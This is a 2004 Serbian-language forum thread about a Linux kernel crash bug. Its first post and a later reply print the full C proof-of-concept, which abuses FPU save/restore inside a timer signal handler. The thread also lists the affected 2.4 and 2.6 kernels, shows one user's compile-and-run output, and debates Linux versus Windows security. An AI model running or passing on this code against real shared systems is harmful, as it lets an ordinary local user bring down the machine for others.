Novo

Forum kao aplikacija na telefonu

Dodajte forum na početni ekran i koristite ga kao aplikaciju, sa menijem na dnu ekrana.

  • 85 odgovora
  • 19.255 pregleda

Najnovija ↓

New Kernel Crash-Exploit discovered (Linux) 14.06.2004. u 22:47 · pre 272 meseca #1
Da odvojimo ovo od Win majstora teme koja je postala megaflame...

http://reviewed.homelinux.org/...-11_kernel_crash/index.html.en

Dakle - ovo radi i u user i root modu, dakle i remote shell acc je dovoljan da skrka pingvina:

Code:

 #include <sys/time.h>
  #include <signal.h>
  #include <unistd.h>
  
  static void Handler(int ignore)
  {
   char fpubuf[108];
   __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
   write(2, "*", 1);
   __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
  }
  
  int main(int argc, char *argv[])
  {
   struct itimerval spec;
   signal(SIGALRM, Handler);
   spec.it_interval.tv_sec=0;
   spec.it_interval.tv_usec=100;
   spec.it_value.tv_sec=0;
   spec.it_value.tv_usec=100;
   setitimer(ITIMER_REAL, &spec, NULL);
   while(1)
    write(1, ".", 1);
  
   return 0;
  }


Impresivno :)

Citat:

* Linux 2.6.x
o 2.6.7-rc2
o 2.6.6 (vanilla)
o 2.6.6-rc1 SMP (varified by blaise)
o 2.6.6 SMP (verified by riven)
o 2.6.5-gentoo (verified by RatiX)
o 2.6.5-mm6 - (verified by Mariux)
o 2.6.5 (fedora core 2 vanilla)
o 2.6.3-13mdk (Mandrake)
* Linux 2.4.2x
o 2.4.26 vanilla
o 2.4.26, grsecurity 2.0 config
o 2.4.26-rc1 vanilla
o 2.4.26-gentoo-r1
o 2.4.22
o 2.4.22-1.2188 Fedora FC1 Kernel
o 2.4.20 RH7.3 (gcc 2.96)
o 2.4.18-bf2.4 (debian woody vanilla)

Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." Vincent
Potpis
DigiCortex (ex. SpikeFun) - Cortical Neural Network Simulator:
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey
Re: New Kernel Crash-Exploit discovered (Linux) 14.06.2004. u 23:03 · pre 272 meseca #4
Sreća te praktično niko ne koristi Linux, tako da ovaj sigurnosni propust neće izazvati nikakvu pometnju. O "Blasteru" i sličnim pojavama su brujale novinske agencije danima - ovo niko neće ni da primeti.
Potpis
IOCC
Re: New Kernel Crash-Exploit discovered (Linux) 14.06.2004. u 23:04 · pre 272 meseca #5
sta i da uloguje kada ga zapuni ki zeku, srecom u pitanju je lokalni eksploNJt, ali je po npr. web servere veoma nezgodno sto i obican korisnik moze ovako lepo da napuni kernel.
Potpis
OV SM
LA PK
Re: New Kernel Crash-Exploit discovered (Linux) 14.06.2004. u 23:12 · pre 272 meseca #6
Citat:
Dragi Tata:Sreća te praktično niko ne koristi Linux, tako da ovaj sigurnosni propust neće izazvati nikakvu pometnju. O "Blasteru" i sličnim pojavama su brujale novinske agencije danima - ovo niko neće ni da primeti.
Da, ovo je dobar primer 'security through obscurity' bezbednosnog modela na Linuxu: jeste da postoji rupa, ali ima suvise malo korisnika tako da ne moze da se dodje do kriticne mase za neki Blaster.
Re: New Kernel Crash-Exploit discovered (Linux) 14.06.2004. u 23:44 · pre 272 meseca #7
Citat:
caboom:sta i da uloguje kada ga zapuni ki zeku, srecom u pitanju je lokalni eksploNJt, ali je po npr. web servere veoma nezgodno sto i obican korisnik moze ovako lepo da napuni kernel.


Pa bas zato. :) Mogao bi da se napenali bezobrazni korisnik. :)
Potpis
Aj prevedi!
Re: New Kernel Crash-Exploit discovered (Linux) 15.06.2004. u 00:19 · pre 272 meseca #9
Kako bre sad ovo - zar nisu rekli da je Linux bezbedan i da ne moze da se srusi?

A kamo ono o user/root razdvajanju i obezbedjivanju sistema :)

Potpis
DigiCortex (ex. SpikeFun) - Cortical Neural Network Simulator:
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey
Re: New Kernel Crash-Exploit discovered (Linux) 15.06.2004. u 04:09 · pre 272 meseca #11
E, sabani...
Mozete da me povucete za ... bug... :)
Code:

[damir@phoenix temp]$ cat test.c
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}
[damir@phoenix temp]$ gcc -o test test.c
[damir@phoenix temp]$ ./test
.................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
.................................................*...............
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..*Floating point exception
[damir@phoenix temp]$

Jos samo da mi objasnite kako bi to iskoristili cak i da radi kod mene? Da nemate mozda shell nalog? :)
Potpis
JaFreelancer.com
Re: New Kernel Crash-Exploit discovered (Linux) 15.06.2004. u 10:25 · pre 272 meseca #14
Citat:
Dragi Tata:Sreća te praktično niko ne koristi Linux, tako da ovaj sigurnosni propust neće izazvati nikakvu pometnju. O "Blasteru" i sličnim pojavama su brujale novinske agencije danima - ovo niko neće ni da primeti.


Hehehehe, tek sam sad primetio ovaj komentar. :) Ovde postoji ogromna razlika izmedju ovog bug-a i Blastera (i vecine crva za windows). Dok se Blaster (i vecina crva za windows :) siri sama, za exploatisanje ovog bug-a moras imati direktan pristup kompu i ne moze se izvrsiti njegova automatizacija. :)
Potpis
Aj prevedi!
Re: Legalizacija softvera 15.06.2004. u 13:34 · pre 272 meseca #17
Još malo, pa bi bio feature. :P

Šalu na stranu, ozbiljan propust je u pitanju, ali ako ne postoji način da se preuzmu administratorske privilegije - nije pogodan za virus poput Blastera. Jedino možda za bosanski virus. :)
Re: New Kernel Crash-Exploit discovered (Linux) 15.06.2004. u 13:53 · pre 272 meseca #18
Ne može da se poredi ovakav propust i Blaster worm.

Ja ne volim kad se linux "gurui" kunu u neprobojnost njihovog miljenika, ali mi još više smeta cinizam windowsaša. :) Kao prvo bilo je još 50 verzija wormova koji su harali windowsom i pre i posle tog blastera. I svaki je prouzrokovao enormnu štetu (novčanu), ako ništa onda zbog downtimea računara koji su bili inficirani. A blaster je pogađao gotovo svaku windows mašinu povezanu na net. Da bi se ovo aktiviralo na linuxu potrebno je imati i shell pristup. To se retko daje neproverenim osobama, kao što ni vi gospodo ne dajete remote desktop access ljudima kojima ne možete da verujete ili kojima ne možete da uđete u trag ukoliko naprave neku glupost. Oni malobrojni shell account serveri će biti patchovani i kraj priče. Eto zašto će ovo proći sa mnogo manje pažnje u javnosti.
Re: New Kernel Crash-Exploit discovered (Linux) 15.06.2004. u 14:30 · pre 272 meseca #19
Citat:
caiser:Sto ce reci, VRider je vec patchovao kernel. :))))

Pa jel' VRider guru, ili nije? :)
Potpis
JaFreelancer.com
Re: New Kernel Crash-Exploit discovered (Linux) 15.06.2004. u 14:41 · pre 272 meseca #20
Međutim na Windowsu imaš pojavu da ako samo 0.1% mašina nije zakrpljeno, to je ogroman broj - sasvim dovoljan da izazove veće probleme. Koliko je 0.1% Linux mašina? Nije baš mnogo, zar ne? Ako Win koristi 600M korisnika, 0.1% je 600,000. Mnogo je Gojko.. a daleko od toga da je na Windowsu samo 0.1% onih koji ne vode mnogo računa o ovim stvarima. Kamo sreće.
Potpis
Commercial-Free !!!
Odgovori
Prijavite se da biste odgovorili u ovoj temi.PrijavaRegistracija

Premeštanje teme